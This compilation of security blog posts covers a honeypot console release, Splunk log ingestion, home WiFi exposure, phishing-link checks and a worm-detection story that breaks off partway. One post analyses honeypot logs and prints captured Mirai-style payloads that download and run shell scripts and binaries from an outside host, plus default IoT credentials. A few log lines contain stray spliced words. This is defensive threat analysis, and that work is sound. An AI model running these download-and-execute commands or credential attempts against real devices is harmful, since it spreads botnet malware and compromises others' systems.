HoneyPoint Security Server Console 4.1 Released

MSI is proud to announce the immediate availability of the HoneyPoint Console version 4.1!

The new version of the Console for HPSS is now available for Windows, Linux and Mac OS X.

The new Console includes the ability to bypass local event logging and instead send the events directly to syslog or to be processed by the plugins. This allows the Console to work with a SIEM, other monitoring tools, or any centralized log management system without worrying about managing the local event database. Several improvements in the GUI console have been made, the ability to test email servers has been added, and multiple bugs have been addressed.

To obtain the new Console files or installer, refer to your QuickStart Guide on how to access the HoneyPoint Security Server distribution site. No changes to the database or license key are required, however, you must have a current license to qualify for the upgrade. An in place upgrade can be performed or the installer can handle the upgrade on Windows. As always, we recommend backing up the database and any plugins and logs before upgrading.

Thanks, as always, for choosing HoneyPoint Security Server and MSI. We value your partnership and trust.

HPSS and Splunk

We’ve had a few users ask how to feed alerts from the HPSS Console into a SIEM. In these cases it was Splunk, so I will show how to quickly get a feed going into Splunk and some basic visualizations. I chose Splunk since that’s what I helped the users with, but any SIEM that will take syslog will work.

The first step is to get the HPSS Console set up to externally log events. This can be enabled by checking the “Enable System Logging” in the preferences window. What happens with the output depends on your OS. On Windows the events are written to Event Log, and on Linux/MacOS they are handled by the syslog daemon. Alternatively you can use the Console plugins system if syslog/eventlog is not flexible enough.

HPSS Preferences Window

Before we go further, we’ll need to configure Splunk to read in the data, or even set up Splunk if you don’t have an existing system. For this blog post, I used the Splunk Docker image to get it up and running a couple minutes in a container.

In Splunk we’ll need to create a “source type”, an “index” and a “data input” to move the data into the index. To create the source type, I put the following definitions in the local props.conf file located in $SPLUNK_HOME/etc/system/local (you may need to create the props.conf file)

[hpss]
EXTRACT-HPSSAgent = Agent: (?P<Honeypoint_Agent>[^ ]+)
EXTRACT-Attacker_IP = from: (?P<Attacker_IP>[^ ]+)
EXTRACT-Port = on port (?P<Port>[^ ]+)
EXTRACT-Alert_Data = Alert Data: (?P<Alert_Data>.+)
TIME_PREFIX = at\s
MAX_TIMESTAMP_LOOKAHEAD = 200
TIME_FORMAT = %Y-%m-%d %H:%M:%S

This tells Splunk how to extract the data from the event. You can also define this in the Splunk web interface by going to Settings -> Source Types and creating a new source type.

Source Type definition

Next create the Index under Settings -> Indexes. Just giving the index a name and leaving everything default will work fine to get started. 

To create a Data Input, go to Settings -> Data Inputs.  I’m going to set it up to directly ingest the data through a TCP socket, but if you already have a setup to read files from a centralized logging system, then feel free to use that instead.

 Set the port and protocol to whatever you would like.

For the source type, manually typing in “hpss” (or whatever you named it) should bring up the already defined source type. Select that, and everything else can remain as is. Then go to review and finish. It’s now ready for you to ship the events to it.

Lastly, we need to get the logs from the Console system to Splunk. Again, this will differ depending on your OS. I will show one way to do this on Windows and one for Linux. However, there are numerous ways to do it. In both cases, replace the IP and Port of your Splunk instance.

On Windows you can use NXLog or another type of eventlog to syslog shipper. After installing NXLog, edit the following into the configuration file.

define ROOT C:\Program Files\nxlog
#define ROOT C:\Program Files (x86)\nxlog

Moduledir %ROOT%\modules
CacheDir %ROOT%\data
Pidfile %ROOT%\data\nxlog.pid
SpoolDir %ROOT%\data
LogFile %ROOT%\data\nxlog.log

<Input in>
Module im_msvistalog
Query <QueryList>\
<Query Id="0">\
<Select Path="HPConsole">*</Select>\
</Query>\
</QueryList>
SavePos TRUE

</Input>

<Output out>
Module om_udp
Host 192.168.232.6
Port 1514
</Output>

<Route 1>
Path in => out
</Route>

On Linux with rsyslog, create a conf file with the following

:msg,contains,"HPSS Agent" @@192.168.232.6:1514

Now Splunk should be receiving any HPSS events sent to it and storing them in the defined index, and extracting the fields during search queries.

In the future we can look at creating some graphs and analyze the events received. If there is any interest, I can look at creating a Splunk app to configure all of this for you.

Have ISP-provided WiFi but don’t think you use it? You could be wrong – and on the open Internet

As with many home networks, you may have an all-in-one cable modem/router/wireless access point provided by the ISP, as well as your own personal router/wireless access point. To prevent a double NAT issue, the ISP router is bridged and the personal router is performing NAT and firewall functions. This setup for a friend’s home network is diagrammed as below:

All wireless devices connect to the Personal-WIFi SSID, with the wireless key saved for automatic reconnection to this access point, and behind the router’s firewall. The ISP-Modem-WiFi SSID was not disabled for the occasional connectivity and bandwidth test. However, whenever he switches to the ISP-Modem-WiFi SSID, he manually enters the wireless key and none of his wireless devices has this wireless key saved. Or so he thought.

About a month ago, he had set his laptop down close to the ISP’s modem in the basement. The laptop was on but was not being used. Later that day, he got on the laptop and noticed he couldn’t connect to any internal sources in his home network but there was internet connectivity. He moved the laptop to the den, and was then able to connect to his media server and file shares. He didn’t think anything of it.

The next day, he discovered for several hours in the previous day, the laptop had had many connection attempts from the internet, several over ftp, telnet, mssql ports. This was alarming because the attempts were coming from the public internet – how were these attempts going through the firewall?

On the laptop runs a HoneyPoint agent – MicroSolved’s proprietary honey pot application – that listens for and responds to connection attempts to specific ports. The agent will then send an alert to the HoneyPoint console for report, alerts or analyses. The laptop HoneyPoint agent had detected these connection attempts. No real service connections were established; no actual breaches occurred. The HoneyPoint agent records the source IP, port being probed, and what data was sent. The attacks indicated discovery probing with a vector towards IoT devices.

But the lingering question was, how could the connection attempts go past the firewall?

It was only serendipitous that he stumbled on the answer. About a week ago, he couldn’t RDP to a Windows box in his internal network, but still had internet. Turns out, the home wifi (Personal-WIFi SSID) was having a hiccup but the laptop had automatically switched to the ISP-Modem-WiFi SSID – outside the firewall. He had inadvertently saved the wireless key to this SSID and was not aware of it. The laptop was now bridged and getting an IP from the ISP, with no firewall or router in between. Also, almost immediately, he noticed the HoneyPoint alerts – connection attempts on the same ftp, telnet, mssql ports were coming in from the public internet.

Lesson learned = if you’re going to keep your wireless access point enabled without a firewall – as in the bridged ISP modem/router – then DO NOT save the wireless key for it on any of your devices (either intentionally or accidentally) or you may be connecting to it without being aware. Best is to disable the wireless, but if you need it, set a strong WPA2 password and do not save the key on any device.

Another lesson learned = In the ensuing troubleshoots, he discovered the router’s uPnP setting had been left enabled, its default setting. That was immediately disabled. Additionally, HoneyPoint agent is a light-on-resources, quick-alerting IDS that does its intended job.

Note of explanation: One could argue the point to bridge the personal router instead of the ISP modem/router, and you would not have this issue. However, if you have many DHCP reservations in your internal network and have ever changed ISP’s, you understand the pain of re-entering those client reservations on a new modem/router. With this setup, you can easily switch ISP’s, slide in a new modem/router and bridge it, and all internal network resources are not interrupted.

Resources: Is UPnP a Security Risk?; Disable This Buggy Feature…

Human-Based Information Security Theory: Part 2

In my last blog, I wrote about the idea that information security is not a technological problem, but a human one. I also posited that the security controls and methodologies that we have followed for the last half century have not worked; in fact they have been proven less and less effective as time goes by.

My idea is this: if you want to counter modern information security threats, the most effective tool to throw at them is humans; technological devices should purely exist to:

  1. Prevent attackers from accessing network resources.
  2. To aid humans in collating and parsing monitoring information.
  3. And in the future (perhaps), to aid humans in retaliating against the attacks that are perpetrated against our sovereign and private information resources.

For the bulk of information security, I cite humans as the culpable parties. We should realize and plan on our known failings:

  1. Humans are basically lazy, self-interested and unreliable. Despite the fact that most of us do well most of the time, once and awhile we all exhibit these characteristics.
  2. Humans can be larcenous, vindictive and contentious, especially when their egos have been bruised or their aspirations have been thwarted.
  3. Humans are changeable and unreliable. Incidents in their private lives can greatly affect their business performance on a day to day basis.

We should also plan on the known strengths of humans:

  1. Humans can be noble and above contempt. Speaking to and depending on the rectitude of a true mensch can inspire humans to act above their normal inclinations.
  2. Humans are MUCH more perceptive than any machine ever build. Our minds work holistically and are at least an order of magnitude more complex than any two dimensional system ever built or conceived.
  3. Humans can be inspired to levels of effort and caring that are entirely beyond any machine.

So this is what I propose:

  1. Information security efforts should rely on human monitoring and risk assessment.
  2. Human ego and hubris should be mandated against; when cults of personality and ego arise it is time for a change to the more rational side of life.
  3. Human frailty and licentiousness should be expected, monitored for and countered effectively in a human manner.
  4. Make your enemies your friends. Find the clever ones that are usurping your defenses and bring them onto your side.
  5. Spend less on machines and applications and use the human resources you do have to their best effect.
  6. (This is the most controversial): Test your people to get a handle on who is trustworthy at the moment and who is not. Reward the loyal, but never lose sight of the fact that humans are changeable.
  7. Make sure that dual controls and separation of duties are employed to their greatest functional effect. No one person should hold the keys to the kingdom.
  8. Distrust centralization. Despite “efficiency and economies of scale,” putting all of your eggs in one basket is NEVER a good idea.

I think if we try this more human approach to information security, perhaps we will be more successful than we have been in the past. After all, what have we got to lose? Nobody can accuse us of doing overly well to this point!

A SilentTiger™ Look At The Logistics Industry

I was recently asked to discuss how attackers view parts of the logistics industry with some folks from a research group. As a part of that, I performed a very quick OSINT check against a handful of randomly chosen logistics firms set around a specific US geographic area. Using our proprietary SilentTiger™ passive assessment platform, we were able to quickly and easily identify some specific patterns. We allowed the tool to only complete the first step of basic foot printing of the companies and analyzed less than 10% of the total data sources that a full run of the platform would access.

 

This quick approach lets us learn about some of the basic threat densities that we know are common to different industries, and gives MSI a rough idea of comparison in terms of security maturity across a given industry. With a large enough data set, very interesting patterns and trends often emerge. All findings below are based on our small geographic sample.

 

In this case, we quickly identified that our sample set was not as mature in their phishing controls as other industries. There were substantially more overall phishing targets easily identified across the board than other industries we’ve sampled (we mined 312 targets in 60 seconds). However, the platform ranks the threats against the identified phishing targets using basic keyword analysis against the mined email addresses, and in this case, the good news is that only 3 “critical risk” target accounts were identified. So, while the engine was able to mine more accounts in a minute than other industries with similar sized samples, the number of critical accounts mined in a minute was quite a bit less than usual. We ranked their maturity as low, because in addition to the number of mined accounts, the platform also found specific histories of this attack vector being exploited, some as recent as within 3 days of the study.

 

The study set also showed issues with poor DNS hygiene to be prevalent across the study group. Leaking internal IP address information and exposure of sensitive information via DNS was common across the data set. Many of the companies in the data set also exposed several dangerous host names that attackers are known to target to the Internet. Overall, 67 sensitive DNS entries were found, which is again significantly higher than other similar industry datasets. When compared against highly regulated industry data sets of similar size, the logistics industry sample shows an 18% increase versus average with regard to poor DNS hygiene. This likely increases the probability of focused targeting against what is commonly viewed as weaker targets – translating to increased risk for the logistics industry.

 

Lastly, the data set also demonstrated the logistics industry to be plagued with the use of plain text protocols. Telnet and FTP exposures were the norm across the data set. Given the known dependence on flat file, EDI and other plain text operations data across the logistics industry, the maturity of controls surrounding these exposures seems to be relatively low. In some cases, anonymous FTP was also in use and exposed operational data (we have notified the companies of the issue) across the Internet. This is a significant problem, and represents a clear and present danger to the operations of these firms (according to the sources we talked with about the issue). We also identified attacker conversations around this issue, and the presence of these targets on attacker lists of compromised hosts or hosts to use for covert data exchange!

 

Obviously, if you are a security person for a logistics firm, these points should be used for a quick review of your own. If you’d like to discuss them or dive deeper into these issues, please don’t hesitate to get in touch with MSI (@microsolved) or give us a call for a free consultation. As always, thanks for reading, and until next time, stay safe out there!

Beyond the firewall – 4 hours of recorded attacks against IOT devices

The graph below shows a distribution, by country, of the attacks seen by a laptop exposed to the open Internet for 4 hours on July 23, 2017.  TCP 23 (telnet) and TCP 1433 (MSSQL) were exposed and attack payloads directed against those services were recorded by honeypots running on those ports. All attacks are listed below together with a discussion of two particular IOT (Internet of Things)  attacks.

The laptop exposure was inadvertent and possibly related to Universal Plug and Play (UPNP) being enabled on the home router.  The laptop happened to be running an HPSS honeypoint agent with fake listeners on several common service ports. The agents send alerts to a central console that records information about the attack in a database and optionally writes to a log.  Those log entries are provided at the end of this post.

Here’s the net message:

Attacks against unsecured IOT devices are a reality – and they are happening right at the Internet boundary of your own home or business.

Do you have an IP-enabled home video camera or similar device?  See if it is on this list of devices known to be attacked:

https://krebsonsecurity.com/2016/10/who-makes-the-iot-things-under-attack/

Note that events similar to those described below can – and do – happen within the firewall. See our previous post on the use of honeypots to detect the spread of malware within the private internal space of an organization.

If you are not already using some form of honeypot as part of your IDS strategy, consider doing so. They are normally quiet watchdogs – but when they do bark, there really is something going on you need to know about.

==> Oh.. and UPNP?  If that’s enabled on your home router, TURN IT OFF!

Netgear: http://netgear-us.custhelp.com/app/answers/detail/a_id/22686/~/how-to-disable-the-upnp-feature-on-your-netgear-router

Linksys: https://www.linksys.com/us/support-article?articleNum=135071

ASUS:  https://www.ghacks.net/2015/03/24/secure-you-wireless-router/


Here are the details of the attacks seen during that 4-hour window:

The sources of attacks were diverse by country of origin. The attacking systems were almost certainly compromised systems being used by the attackers without the owners awareness, although state-sponsored activity cannot be ruled out.

  • Here is one item of interest:

Jul 23 19:42: hpoint-2371 received an alert from: 1.30.116.116 on port 23 at 2017-08-06 19:43:02 Alert Data: sh#015#012cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/heckz.sh; chmod 777 heckz.sh; sh heckz.sh; tftp 185.165.29.111 -c get troute1.sh; chmod 777 troute1.sh; sh troute1.sh; tftp -r troute2.sh -g 185.165.29.111; chmod 777 troute2.sh; sh troute2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.165.29.111 troute.sh troute.sh; sh troute.sh; rm -rf heckz.sh troute.sh troute1.sh troute2.sh; rm -rf *#015

  • The attacker IP (1.30.116.116 ) is registered in China/Mongolia.

inetnum: 1.24.0.0 – 1.31.255.255
netname: UNICOM-NM
descr: China unicom InnerMongolia province network

  • The attacker is attempting to cause the targeted victim machine to download and execute a shell script

wget http://185.165.29.111/heckz.sh; chmod 777 heckz.sh; sh heckz.sh;

  • 185.165.29.111 – the source of the script – is an IP associated with Germany.

inetnum: 185.165.29.0 – 185.165.29.255
netname: AlmasHosting
country: DE

  • The few IP’s with reverse DNS in that /24 are associated with Iran (.ir domain).

host.mlsending.ir (185.165.29.58)
host.mlsender.ir (185.165.29.59)
host.madstoreml.ir (185.165.29.80)

  • Heckz.sh is associated with known malware

https://virustotal.com/en/file/5a5183c1f5fdab92e15f64f18c15a390717e313a9f049cd9de4fbb3f3adc4008/analysis/

  • The shell script – if successfully downloaded and executed , runs

#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/mba; chmod +x mba; ./mba; rm -rf mba
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ebs; chmod +x ebs; ./ebs; rm -rf ebs
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ew; chmod +x ew; ./ew; rm -rf ew
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/aw; chmod +x aw; ./aw; rm -rf aw
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ftr; chmod +x ftr; ./ftr; rm -rf ftr
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/er; chmod +x er; ./er; rm -rf er
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/re; chmod +x re; ./re; rm -rf re
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ty; chmod +x ty; ./ty; rm -rf ty
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ke; chmod +x ke; ./ke; rm -rf ke
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/as; chmod +x as; ./as; rm -rf as
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/fg; chmod +x fg; ./fg; rm -rf fg
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/sddf; chmod +x sddf; ./sddf; rm -rf sddf
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/tel; chmod +x tel; ./tel; rm -rf tel

  • The “ew” program is known malware…..

https://virustotal.com/en/file/9685eeef4b7b25871f162d0050c9a9addbcba1df464e25cf3dce66f5653ebeca/analysis/

  • …and likely is associated with a variant of this botnet’s infrastructure:

https://en.wikipedia.org/wiki/Mirai_(malware)

  • Here’s another entry of interest

Jul 23 21:12: hpoint-2371 received an alert from: 217.107.124.39 on port 23 at 2017-08-06 21:12:57 Alert Data: root#015#012xc3511#015#012enable#015#012system#015#012shell#015#012sh#015

  • On the central console this shows as:

  • This is an attempted attack against a specific Chinese vendor’s (XiongMai Technologies) firmware using a login/password that is embedded in that firmware

https://krebsonsecurity.com/2016/10/europe-to-push-new-security-rules-amid-iot-mess/


Summary:

An unfortunate event, for sure. Still, the presence of honeypots on the targeted machine allowed us to capture real-world attack data and learn something of the reality of life beyond the firewall.  The Mirai botnet malware – and its variants – go from being something read about to something actually seen.

Always useful for understanding threats and planning meaningful defense.


The data:

Here are the raw log entries of attacks seen over the 4 hour exposure interval. The ones discussed above and some others of interest in bold.

Jul 23 19:42: hpoint-2371 received an alert from: 1.30.116.116 on port 23 at 2017-08-06 19:42:47 Alert Data: Connection Received
Jul 23 19:42: hpoint-2371 received an alert from: 1.30.116.116 on port 23 at 2017-08-06 19:43:02 Alert Data: sh#015#012cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/heckz.sh; chmod 777 heckz.sh; sh heckz.sh; tftp 185.165.29.111 -c get troute1.sh; chmod 777 troute1.sh; sh troute1.sh; tftp -r troute2.sh -g 185.165.29.111; chmod 777 troute2.sh; sh troute2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.165.29.111 troute.sh troute.sh; sh troute.sh; rm -rf heckz.sh troute.sh troute1.sh troute2.sh; rm -rf *#015
Jul 23 19:43: hpoint-2371 received an alert from: 222.174.243.134 on port 1433 at 2017-08-06 19:43:55 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:43: hpoint-2371 received an alert from: 222.174.243.134 on port 1433 at 2017-08-06 19:43:56 Alert Data: Connection Received
Jul 23 19:45: hpoint-2371 received an alert from: 222.174.243.134 on port 1433 at 2017-08-06 19:45:36 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:46: hpoint-2371 received an alert from: 38.133.25.167 on port 23 at 2017-08-06 19:46:42 Alert Data: Connection Received
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:28 Alert Data: Connection Received
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:38 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:39 Alert Data: Connection Received
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:50 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:57: hpoint-2371 received an alert from: 70.79.76.209 on port 23 at 2017-08-06 19:57:21 Alert Data: Connection Received
Jul 23 20:00: hpoint-2371 received an alert from: 222.96.190.71 on port 23 at 2017-08-06 20:00:04 Alert Data: Connection Received
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:34 Alert Data: Connection ReceivedASUS:
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:34 Alert Data: Connection Received
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:53 Alert Data: root#015#01212345#015#012enable#015
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:56 Alert Data: root#015#01212345#015#012enable#015
Jul 23 20:08: hpoint-2371 received an alert from: 114.234.164.43 on port 23 at 2017-08-06 20:08:22 Alert Data: Connection Received
Jul 23 20:08: hpoint-2371 received an alert from: 114.234.164.43 on port 23 at 2017-08-06 20:08:44 Alert Data: root#015#012zlxx.#015#012enable#015
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:05 Alert Data: Connection Received
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:15 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:16 Alert Data: Connection Received
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:26 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 20:46: hpoint-2371 received an alert from: 103.253.183.107 on port 23 at 2017-08-06 20:46:31 Alert Data: Connection Received
Jul 23 20:48: hpoint-2371 received an alert from: 119.186.47.97 on port 23 at 2017-08-06 20:48:00 Alert Data: Connection Received
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at 2017-08-06 20:50:15 Alert Data: Connection Received
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at ASUS:2017-08-06 20:50:26 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at 2017-08-06 20:50:26 Alert Data: Connection Received
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at 2017-08-06 20:50:37 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 21:07: hpoint-2371 received an alert from: 113.53.91.152 on port 23 at 2017-08-06 21:07:14 Alert Data: Connection Received
Jul 23 21:12: hpoint-2371 received an alert from: 192.249.135.180 on port 23 at 2017-08-06 21:12:15 Alert Data: Connection Received
Jul 23 21:12: hpoint-2371 received an alert from: 217.107.124.39 on port 23 at 2017-08-06 21:12:53 Alert Data: Connection Received
Jul 23 21:12: hpoint-2371 received an alert from: 217.107.124.39 on port 23 at 2017-08-06 21:12:57 Alert Data: root#015#012xc3511#015#012enable#015#012system#015#012shell#015#012sh#015
Jul 23 21:17: hpoint-2371 received an alert from: 177.7.234.203 on port 23 at 2017-08-06 21:17:51 Alert Data: Connection Received
Jul 23 21:18: hpoint-2371 received an alert from: 177.7.234.203 on port 23 at 2017-08-06 21:18:12 Alert Data: root#015#01212345#015#012enable#015
Jul 23 21:51: hpoint-2371 received an alert from: 85.56.128.151 on port 23 at 2017-08-06 21:51:06 Alert Data: Connection Received
Jul 23 21:54: hpoint-2371 received an alert from: 24.212.74.182 on port 23 at 2017-08-06 21:54:45 Alert Data: Connection Received
Jul 23 22:03: hpoint-2371 received an alert from: 200.101.92.79 on port 23 at 2017-08-06 22:03:35 Alert Data: Connection Received
Jul 23 22:03: hpoint-2371 received an alert from: 200.101.92.79 on port 23 at 2017-08-06 22:03:58 Alert Data: guest#015#01212345#015#012enable#015
Jul 23 22:11: hpoint-2371 received an alert from: 60.171.201.182 on port 1433 at 2017-08-06 22:11:48 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:11: hpoint-2371 received an alert from: 60.171.here’s the b201.182 on port 1433 at 2017-08-06 22:11:48 Alert Data: Connection Received
Jul 23 22:11: hpoint-2371 received an alert from: 60.171.201.182 on port 1433 at 2017-08-06 22:11:59 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:20: hpoint-2371 received an alert from: 31.163.178.165 on port 23 at 2017-08-06 22:20:07 Alert Data: guest#015#012guest#015#012enable#015
Jul 23 22:27: hpoint-2371 received an alert from: 91.122.218.139 on port 23 at 2017-08-06 22:27:09 Alert Data: Connection Received
Jul 23 22:35: hpoint-2371 received an alert from: 114.101.1.80 on port 23 at 2017-08-06 22:35:53 Alert Data: Connection Received
Jul 23 22:36: hpoint-2371 received an alert from: 114.101.1.80 on port 23 at 2017-08-06 22:36:22 Alert Data: Connection Received
Jul 23 22:36: hpoint-2371 received an alert from: 114.101.1.80 on port 23 at 2017-08-06 22:36:39 Alert Data: root#015#012xc3511#015#012enable#015#012system#015#012shell#015#012sh#015
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:17 Alert Data: Connection Received
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:28 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:28 Alert Data: Connection Received
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:39 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:53: hpoint-2371 received an alert from: 187.160.67.74 on port 23 at 2017-08-06 22:53:36 Alert Data: Connection Received
Jul 23 22:54: hpoint-2371 received an alert from: 187.160.67.74 on port 23 at 2017-08-06 22:54:09 Alert Data: enable#015#012system#015#012shell#015#012sh#015#012cat /proc/mounts; /bin/busybox JBQVI#015
Jul 23 22:54: hpoint-2371 received an alert from: 36.239.158.149 on port 23 at 2017-08-06 22:54:19 Alert Data: Connection Received
Jul 23 22:54: hpoint-2371 received an alert from: 36.239.158.149 on port 23 at 2017-08-06 22:54:41 Alert Data: root#015#01212345#015#012enable#015
Jul 23 22:57: hpoint-2371 received an alert from: 70.89.64.58 on port 23 at 2017-08-06 22:57:35 Alert Data: Connection Received
Jul 23 22:57: hpoint-2371 received an alert from: 70.89.64.58 on port 23 at 2017-08-06 22:57:57 Alert Data: root#015#012xc3511#015#012enable#015
Jul 23 23:02: hpoint-2371 received an alert from: 97.107.83.42 on port 23 at 2017-08-06 23:02:28 Alert Data: Connection Received
Jul 23 23:02: hpoint-2371 received an alert from: 1.30.218.39 on port 1433 at 2017-08-06 23:02:30 Alert Data: Connection Received
Jul 23 23:02: hpoint-2371 received an alert from: 1.30.218.39 on port 1433 at 2017-08-06 23:02:40 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 23:02: hpoint-2371 received an alert from: 1.30.218.39 on port 1433 at 2017-08-06 23:02:44 Alert Data: Connection Received
Jul 23 23:19: hpoint-2371 received an alert from: 54.145.111.48 on port 443 at 2017-08-06 23:19:20 Alert Data: Connection Received
Jul 23 23:19: hpoint-2371 received an alert from: 54.145.111.48 on port 443 at 2017-08-06 ASUS:23:19:23 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 23:23: hpoint-2371 received an alert from: 109.96.99.66 on port 23 at 2017-08-06 23:23:37 Alert Data: Connection Received

Verifying links before you get phished

Your Mom sends a funny cat video link on YouTube. Your department head sends a link for the training schedule. There’s an email in your Inbox from Amazon for a laptop sale.

Always think twice before clicking on any of those links. Is that email really from Mom or the department head or Amazon? Even if it was really from Mom’s account, is that link really for a cat video on YouTube? Her account, could have been compromised, and the email sent with an obfuscated link.

Phishing works

Phishing campaigns are effective; estimates range from 60 to 90% of all email is a phishing message. MicroSolved’s social engineering exercises have yielded from 11 to 43% success – success meaning recipients have clicked on the benign links in our phishing exercises for clients with their employees. Estimates average 30% of phishing links are clicked.

Obfuscated URL in an Email

So, never click on a link in an email. OK, that may be a little absolute. Only be certain that the link is what you expect it to be. Hover over the link and either a popup or in the status bar of your email client/browser will display the URL. Verify the domain in the link is valid. Simple link obfuscation techniques such as registering a domain named yuotube.com (note the spelling) is an easy phishing and effective trick.

Another trick is hiding the URL behind friendly text, for example, click here. This technique could easily have been used to create a link = stateofsecurity.com – but the the link actually browses to MicroSolved’s home page.

Image links are not immune. That Amazon logo in the email – does that really link to amazon.com? Hover over the link to verify the URL before you click on it. Or better yet, open your browser, type amazon.com in the address bar, then search for and browse to the laptop sale. By the way, don’t browse to yuotube.com, just take my word for it.

Similarly, while browsing or surfing the web, it is always good practice to verify links before you actually click on them. Hover and verify.

Check that browser address bar

So, now that you’ve clicked on that link and landed on the destination web page, are you sure that’s chase.com’s login page? Before you enter your bank account login credentials, check out the URL in the address bar. Make sure it’s https. Any URL that requires you to enter some identification should be over the encrypted protocol, https.

Next, just because the URL has chase.com within it, does not make it a valid chase.com page. Check out the two images below; phishers often trick their victims by obfuscating a URL with a string of an expected valid domain name in the URL:

Note that chase.com is part of the URL, but the login.html page is actually in the badbaddomain.com. The attackers are counting on users to notice the “chase.com” in the URL and click on their link. Once clicked, the user is to taken to a rogue web server with a login page that mimics the real login page for the bank. If the user continues with typing in their authentication credentials, the trap  has sprung – the rogue server has saved the user’s credentials, and the bank account will soon be drained of its funds. Often, after the user enters the credentials, they may be redirected to a valid 404 error page in the user’s bank server, and the user imay be a little confused but unaware that they’ve just given away their credentials.

Current browsers have a feature to help users pick out the actual domain name from the URL – in the top image, the Firefox address bar displays the domain name part of the URL in black font, and everything else in a gray colored font. This is the default behavior; the setting can be changed for the entire URL be the same color format.

Not all browsers display the URL in such a way, Chrome displays the same obfuscated URL as below; the domain and subdomains part of the URL are in black font and the sub-directories and page resource are in grey font:

Shortened URLs

Shortened URLs have become much more popular because of Twitter – it’s a method of reducing a long (regular) URL into a shortened version of usually 10-20 characters. However, because of the condensed URL, it’s not possible to determine the actual address of the link. In this case, it would be wise to copy the shortened URL and validate it with a URL expander website, such as checkshorturl.com or unfurlr.com or unshorten.it.

It’s a minefield out there. Attackers are constantly phishing for their next victim. Be vigilant, beware of what you click, surf safe.

Sources:

https://blog.barkly.com/phishing-statistics-2016

Worm detection with HoneyPoint Security Server (HPSS): A real world example

This post describes a malware detection event that I actually experienced a few short years ago.

My company (Company B) had been acquired by a much larger organization (Company A) with a very large internal employee desktop-space. A desktop-space larger than national boundaries.

We had all migrated to Company A  laptops – but our legacy responsibilities required us to maintain systems in the original IP-space of company B.  We used legacy Company B VPN for that.

I had installed the HPSS honeypoint agent on my Company A laptop prior to our migration into their large desktop space.  After migration I was routinely VPN’ed into legacy Company B space, so a regular pathway for alerts to reach the console existed.

After a few months, the events shown in the diagram below occurred.

I started to receive email alerts directed to my Company B legacy email account. The alerts described TCP 1433 scans that my Company A laptop was receiving.  The alerts were all being thrown by the MSSQL (TCP 1433 – Microsoft SQL Server) HoneyPoint listener on my laptop.

I was confused – partly because I had become absorbed in post-acquisition activities and had largely forgotten about the HPSS agent running on my laptop.

